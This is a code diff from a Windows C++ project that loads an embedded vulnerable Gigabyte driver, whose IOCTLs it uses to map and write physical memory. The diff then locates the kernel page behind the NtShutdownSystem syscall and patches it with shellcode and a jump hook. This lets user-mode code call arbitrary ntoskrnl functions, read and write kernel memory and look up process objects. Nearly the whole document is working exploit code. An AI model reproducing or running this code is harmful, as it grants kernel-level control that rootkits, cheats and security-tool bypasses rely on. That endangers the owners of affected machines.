if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
|
||||
return NULL;
|
||||
|
||||
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
|
||||
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
|
||||
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
|
||||
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
|
||||
|
||||
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
|
||||
{
|
||||
if (!strcmp(export_name, (char*)module_base + name[i]))
|
||||
{
|
||||
auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,142 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "../util/util.hpp"
|
||||
#include "../util/loadup.hpp"
|
||||
#include "raw_driver.hpp"
|
||||
|
||||
#define MAP_PHYSICAL 0xC3502004
|
||||
#define UNMAP_PHYSICAL 0xC3502008
|
||||
|
||||
#pragma pack (push, 1)
|
||||
typedef struct _gdrv_t
|
||||
{
|
||||
unsigned long interface_type;
|
||||
unsigned long bus;
|
||||
std::uintptr_t phys_addr;
|
||||
unsigned long io_space;
|
||||
unsigned long size;
|
||||
} gdrv_t, *pgdrv_t;
|
||||
#pragma pack (pop)
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
inline HANDLE drv_handle;
|
||||
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
vdm::raw_driver,
|
||||
sizeof(vdm::raw_driver)
|
||||
);
|
||||
|
||||
if (!result)
|
||||
return { {}, {} };
|
||||
|
||||
vdm::drv_handle = CreateFileA(
|
||||
"\\\\.\\GIO",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
return { vdm::drv_handle, key };
|
||||
}
|
||||
|
||||
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
|
||||
{
|
||||
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
||||
}
|
||||
|
||||
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||
return false;
|
||||
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(buffer, out_buffer[0], size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
|
||||
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||
return false;
|
||||
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(out_buffer[0], buffer, size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,123 @@
|
||||
#include "vdm_ctx.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
|
||||
:
|
||||
read_phys(read_func),
|
||||
write_phys(write_func)
|
||||
{
|
||||
// already found the syscall's physical page...
|
||||
if (vdm::syscall_address.load())
|
||||
return;
|
||||
|
||||
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
|
||||
LoadLibraryExA("ntoskrnl.exe", NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
nt_rva = reinterpret_cast<std::uint32_t>(
|
||||
util::get_kmodule_export(
|
||||
"ntoskrnl.exe",
|
||||
syscall_hook.first,
|
||||
true
|
||||
));
|
||||
|
||||
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||
// for each physical memory range, make a thread to search it
|
||||
std::vector<std::thread> search_threads;
|
||||
for (auto ranges : util::pmem_ranges)
|
||||
search_threads.emplace_back(std::thread(
|
||||
&vdm_ctx::locate_syscall,
|
||||
this,
|
||||
ranges.first,
|
||||
ranges.second
|
||||
));
|
||||
|
||||
for (std::thread& search_thread : search_threads)
|
||||
search_thread.join();
|
||||
}
|
||||
|
||||
void vdm_ctx::set_read(read_phys_t& read_func)
|
||||
{
|
||||
this->read_phys = read_func;
|
||||
}
|
||||
|
||||
void vdm_ctx::set_write(write_phys_t& write_func)
|
||||
{
|
||||
this->write_phys = write_func;
|
||||
}
|
||||
|
||||
void vdm_ctx::rkm(void* dst, void* src, std::size_t size)
|
||||
{
|
||||
static const auto ntoskrnl_memcpy =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||
|
||||
this->syscall<decltype(&memcpy)>(
|
||||
ntoskrnl_memcpy, dst, src, size);
|
||||
}
|
||||
|
||||
void vdm_ctx::wkm(void* dst, void* src, std::size_t size)
|
||||
{
|
||||
static const auto ntoskrnl_memcpy =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||
|
||||
this->syscall<decltype(&memcpy)>(
|
||||
ntoskrnl_memcpy, dst, src, size);
|
||||
}
|
||||
|
||||
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||
{
|
||||
const auto page_data =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
VirtualAlloc(
|
||||
nullptr,
|
||||
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
|
||||
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||
{
|
||||
if (vdm::syscall_address.load())
|
||||
break;
|
||||
|
||||
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||
continue;
|
||||
|
||||
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
|
||||
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||
syscall_address.store(
|
||||
reinterpret_cast<void*>(
|
||||
address + page + nt_page_offset));
|
||||
}
|
||||
|
||||
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||
}
|
||||
|
||||
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||
{
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
// 0: 48 31 c0 xor rax, rax
|
||||
// 3 : c3 ret
|
||||
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||
std::uint8_t orig_bytes[sizeof shellcode];
|
||||
|
||||
// save original bytes and install shellcode...
|
||||
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||
|
||||
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
syscall_mutex.unlock();
|
||||
return result == STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,116 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <string_view>
|
||||
#include <vector>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <functional>
|
||||
#include "../vdm/vdm.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
// change this to whatever you want :^)
|
||||
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
||||
|
||||
inline std::atomic<bool> is_page_found = false;
|
||||
inline std::atomic<void*> syscall_address = nullptr;
|
||||
|
||||
inline std::uint16_t nt_page_offset;
|
||||
inline std::uint32_t nt_rva;
|
||||
inline std::uint8_t* ntoskrnl;
|
||||
|
||||
using read_phys_t = std::function<decltype(vdm::read_phys)>;
|
||||
using write_phys_t = std::function<decltype(vdm::write_phys)>;
|
||||
|
||||
class vdm_ctx
|
||||
{
|
||||
public:
|
||||
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
|
||||
void set_read(read_phys_t& read_func);
|
||||
void set_write(write_phys_t& write_func);
|
||||
void rkm(void* dst, void* src, std::size_t size);
|
||||
void wkm(void* dst, void* src, std::size_t size);
|
||||
|
||||
template <class T, class ... Ts>
|
||||
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
|
||||
{
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
// jmp [rip+0x0]
|
||||
std::uint8_t jmp_code[] =
|
||||
{
|
||||
0xff, 0x25, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
// execute hook...
|
||||
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
syscall_mutex.unlock();
|
||||
return result;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
__forceinline auto rkm(std::uintptr_t addr) -> T
|
||||
{
|
||||
T buffer;
|
||||
rkm((void*)&buffer, (void*)addr, sizeof T);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
__forceinline void wkm(std::uintptr_t addr, const T& value)
|
||||
{
|
||||
wkm((void*)addr, (void*)&value, sizeof T);
|
||||
}
|
||||
|
||||
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
|
||||
{
|
||||
static const auto ntoskrnl_get_virtual =
|
||||
util::get_kmodule_export(
|
||||
"ntoskrnl.exe",
|
||||
"MmGetVirtualForPhysical");
|
||||
|
||||
return this->syscall<MmGetVirtualForPhysical>(
|
||||
ntoskrnl_get_virtual, addr);
|
||||
}
|
||||
|
||||
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
|
||||
{
|
||||
static const auto ps_lookup_peproc =
|
||||
util::get_kmodule_export(
|
||||
"ntoskrnl.exe",
|
||||
"PsLookupProcessByProcessId");
|
||||
|
||||
PEPROCESS peproc = nullptr;
|
||||
this->syscall<PsLookupProcessByProcessId>(
|
||||
ps_lookup_peproc,
|
||||
(HANDLE)pid,
|
||||
&peproc
|
||||
);
|
||||
return peproc;
|
||||
}
|
||||
private:
|
||||
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||
bool valid_syscall(void* syscall_addr) const;
|
||||
|
||||
std::function<decltype(vdm::read_phys)> read_phys;
|
||||
std::function<decltype(vdm::write_phys)> write_phys;
|
||||
};
|
||||
}
|
||||
Loading…
Reference in new issue